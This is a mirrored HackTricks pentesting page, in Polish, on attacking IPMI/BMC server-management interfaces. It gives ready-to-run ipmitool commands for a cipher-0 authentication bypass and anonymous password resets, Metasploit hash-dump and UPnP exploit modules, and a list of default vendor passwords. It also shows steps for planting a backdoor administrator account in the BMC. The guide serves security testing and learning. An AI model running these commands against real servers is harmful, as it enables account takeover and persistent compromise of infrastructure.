mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 22:52:06 +00:00
148 lines
10 KiB
Markdown
148 lines
10 KiB
Markdown
# 623/UDP/TCP - IPMI
|
|
|
|
## 623/UDP/TCP - IPMI
|
|
|
|
{% hint style="success" %}
|
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
## Podstawowe informacje
|
|
|
|
### **Przegląd IPMI**
|
|
|
|
**[Intelligent Platform Management Interface (IPMI)](https://www.thomas-krenn.com/en/wiki/IPMI_Basics)** oferuje ustandaryzowane podejście do zdalnego zarządzania i monitorowania systemów komputerowych, niezależnie od systemu operacyjnego czy stanu zasilania. Technologia ta pozwala administratorom systemów na zdalne zarządzanie systemami, nawet gdy są wyłączone lub nieodpowiadające, i jest szczególnie przydatna w przypadku:
|
|
|
|
- Konfiguracji przed uruchomieniem systemu operacyjnego
|
|
- Zarządzania zasilaniem
|
|
- Odzyskiwania po awariach systemu
|
|
|
|
IPMI jest w stanie monitorować temperatury, napięcia, prędkości wentylatorów i zasilacze, a także dostarczać informacje o inwentarzu, przeglądać logi sprzętowe i wysyłać powiadomienia za pomocą SNMP. Do jego działania niezbędne są źródło zasilania i połączenie LAN.
|
|
|
|
Od momentu wprowadzenia przez firmę Intel w 1998 roku, IPMI jest wspierane przez wielu dostawców, co zwiększa możliwości zdalnego zarządzania, szczególnie dzięki wsparciu wersji 2.0 dla komunikacji szeregowej przez LAN. Kluczowe komponenty to:
|
|
|
|
- **Baseboard Management Controller (BMC):** Główny mikrokontroler do operacji IPMI.
|
|
- **Szyny i interfejsy komunikacyjne:** Do komunikacji wewnętrznej i zewnętrznej, w tym ICMB, IPMB oraz różne interfejsy do połączeń lokalnych i sieciowych.
|
|
- **Pamięć IPMI:** Do przechowywania logów i danych.
|
|
|
|
![https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right](https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right)
|
|
|
|
**Domyślny port**: 623/UDP/TCP (Zwykle działa na UDP, ale może również działać na TCP)
|
|
|
|
## Enumeracja
|
|
|
|
### Odkrywanie
|
|
```bash
|
|
nmap -n -p 623 10.0.0./24
|
|
nmap -n-sU -p 623 10.0.0./24
|
|
use auxiliary/scanner/ipmi/ipmi_version
|
|
```
|
|
Możesz **zidentyfikować** **wersję** za pomocą:
|
|
```bash
|
|
use auxiliary/scanner/ipmi/ipmi_version
|
|
nmap -sU --script ipmi-version -p 623 10.10.10.10
|
|
```
|
|
### IPMI Vulnerabilities
|
|
|
|
W dziedzinie IPMI 2.0, istotna luka w zabezpieczeniach została odkryta przez Dana Farmera, ujawniając podatność poprzez **cipher type 0**. Ta podatność, szczegółowo udokumentowana w [badaniach Dana Farmera](http://fish2.com/ipmi/cipherzero.html), umożliwia nieautoryzowany dostęp z dowolnym hasłem, pod warunkiem, że celem jest ważny użytkownik. Ta słabość została znaleziona w różnych BMC od producentów takich jak HP, Dell i Supermicro, co sugeruje powszechny problem we wszystkich implementacjach IPMI 2.0.
|
|
|
|
### **IPMI Authentication Bypass via Cipher 0**
|
|
|
|
Aby wykryć tę lukę, można wykorzystać następujący skaner pomocniczy Metasploit:
|
|
```bash
|
|
use auxiliary/scanner/ipmi/ipmi_cipher_zero
|
|
```
|
|
Wykorzystanie tej luki jest możliwe za pomocą `ipmitool`, jak pokazano poniżej, co pozwala na wyświetlenie i modyfikację haseł użytkowników:
|
|
```bash
|
|
apt-get install ipmitool # Installation command
|
|
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list # Lists users
|
|
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 # Changes password
|
|
```
|
|
### **IPMI 2.0 RAKP Authentication Remote Password Hash Retrieval**
|
|
|
|
Ta luka umożliwia pobranie zasolonych haszy haseł (MD5 i SHA1) dla dowolnej istniejącej nazwy użytkownika. Aby przetestować tę lukę, Metasploit oferuje moduł:
|
|
```bash
|
|
msf > use auxiliary/scanner/ipmi/ipmi_dumphashes
|
|
```
|
|
### **IPMI Anonymous Authentication**
|
|
|
|
Domyślna konfiguracja w wielu BMC pozwala na "anonimowy" dostęp, charakteryzujący się pustymi ciągami nazwy użytkownika i hasła. Ta konfiguracja może być wykorzystana do resetowania haseł kont użytkowników o nazwanych kontach za pomocą `ipmitool`:
|
|
```bash
|
|
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list
|
|
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword
|
|
```
|
|
### **Supermicro IPMI Hasła w czystym tekście**
|
|
|
|
Krytyczny wybór projektowy w IPMI 2.0 wymaga przechowywania haseł w czystym tekście w BMC w celach uwierzytelniania. Przechowywanie tych haseł przez Supermicro w lokalizacjach takich jak `/nv/PSBlock` lub `/nv/PSStore` budzi poważne obawy dotyczące bezpieczeństwa:
|
|
```bash
|
|
cat /nv/PSBlock
|
|
```
|
|
### **Supermicro IPMI UPnP Vulnerability**
|
|
|
|
Włączenie przez Supermicro nasłuchiwacza UPnP SSDP w swoim oprogramowaniu IPMI, szczególnie na porcie UDP 1900, wprowadza poważne ryzyko bezpieczeństwa. Luki w Intel SDK dla urządzeń UPnP w wersji 1.3.1, szczegółowo opisane w [ujawnieniu Rapid7](https://blog.rapid7.com/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play), umożliwiają dostęp root do BMC:
|
|
```bash
|
|
msf> use exploit/multi/upnp/libupnp_ssdp_overflow
|
|
```
|
|
### Brute Force
|
|
|
|
**HP losowo generuje domyślne hasło** dla swojego produktu **Integrated Lights Out (iLO)** podczas produkcji. Ta praktyka różni się od innych producentów, którzy zazwyczaj używają **statycznych domyślnych poświadczeń**. Podsumowanie domyślnych nazw użytkowników i haseł dla różnych produktów przedstawiono poniżej:
|
|
|
|
- **HP Integrated Lights Out (iLO)** używa **fabrycznie losowego 8-znakowego ciągu** jako domyślnego hasła, co pokazuje wyższy poziom bezpieczeństwa.
|
|
- Produkty takie jak **iDRAC firmy Dell, IMM firmy IBM** i **Zintegrowany Kontroler Zdalnego Zarządzania Fujitsu** używają łatwych do odgadnięcia haseł, takich jak "calvin", "PASSW0RD" (z zerem) i "admin" odpowiednio.
|
|
- Podobnie, **Supermicro IPMI (2.0), Oracle/Sun ILOM** i **ASUS iKVM BMC** również używają prostych domyślnych poświadczeń, z "ADMIN", "changeme" i "admin" jako ich hasłami.
|
|
|
|
|
|
## Accessing the Host via BMC
|
|
|
|
Dostęp administracyjny do Kontrolera Zarządzania Płytą Główną (BMC) otwiera różne ścieżki do uzyskania dostępu do systemu operacyjnego hosta. Proste podejście polega na wykorzystaniu funkcji KVM (Keyboard, Video, Mouse) BMC. Można to zrobić, uruchamiając ponownie hosta do powłoki root za pomocą GRUB (używając `init=/bin/sh`) lub uruchamiając z wirtualnego CD-ROM-u ustawionego jako dysk ratunkowy. Takie metody pozwalają na bezpośrednią manipulację dyskiem hosta, w tym wstawianie backdoorów, ekstrakcję danych lub wszelkie niezbędne działania w celu oceny bezpieczeństwa. Jednak wymaga to ponownego uruchomienia hosta, co jest istotną wadą. Bez ponownego uruchamiania, dostęp do działającego hosta jest bardziej skomplikowany i różni się w zależności od konfiguracji hosta. Jeśli fizyczna lub szeregowa konsola hosta pozostaje zalogowana, można ją łatwo przejąć za pomocą funkcji KVM lub serial-over-LAN (sol) BMC za pomocą `ipmitool`. Badanie wykorzystania wspólnych zasobów sprzętowych, takich jak magistrala i2c i chip Super I/O, to obszar, który wymaga dalszego zbadania.
|
|
|
|
## Introducing Backdoors into BMC from the Host
|
|
|
|
Po skompromitowaniu hosta wyposażonego w BMC, **lokalny interfejs BMC może być wykorzystany do wstawienia konta użytkownika backdoor**, tworząc trwałą obecność na serwerze. Atak ten wymaga obecności **`ipmitool`** na skompromitowanym hoście oraz aktywacji wsparcia dla sterowników BMC. Poniższe polecenia ilustrują, jak nowe konto użytkownika może być wstrzyknięte do BMC za pomocą lokalnego interfejsu hosta, co omija potrzebę uwierzytelnienia. Ta technika ma zastosowanie w szerokim zakresie systemów operacyjnych, w tym Linux, Windows, BSD, a nawet DOS.
|
|
```bash
|
|
ipmitool user list
|
|
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
|
|
2 ADMIN true false false Unknown (0x00)
|
|
3 root true false false Unknown (0x00)
|
|
|
|
ipmitool user set name 4 backdoor
|
|
ipmitool user set password 4 backdoor
|
|
ipmitool user priv 4 4
|
|
ipmitool user list
|
|
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
|
|
2 ADMIN true false false Unknown (0x00)
|
|
3 root true false false Unknown (0x00)
|
|
4 backdoor true false true ADMINISTRATOR
|
|
```
|
|
## Shodan
|
|
|
|
* `port:623`
|
|
|
|
## References
|
|
|
|
* [https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/](https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/)
|
|
|
|
{% hint style="success" %}
|
|
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Wsparcie HackTricks</summary>
|
|
|
|
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
|
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
|
|
|
</details>
|
|
{% endhint %}
|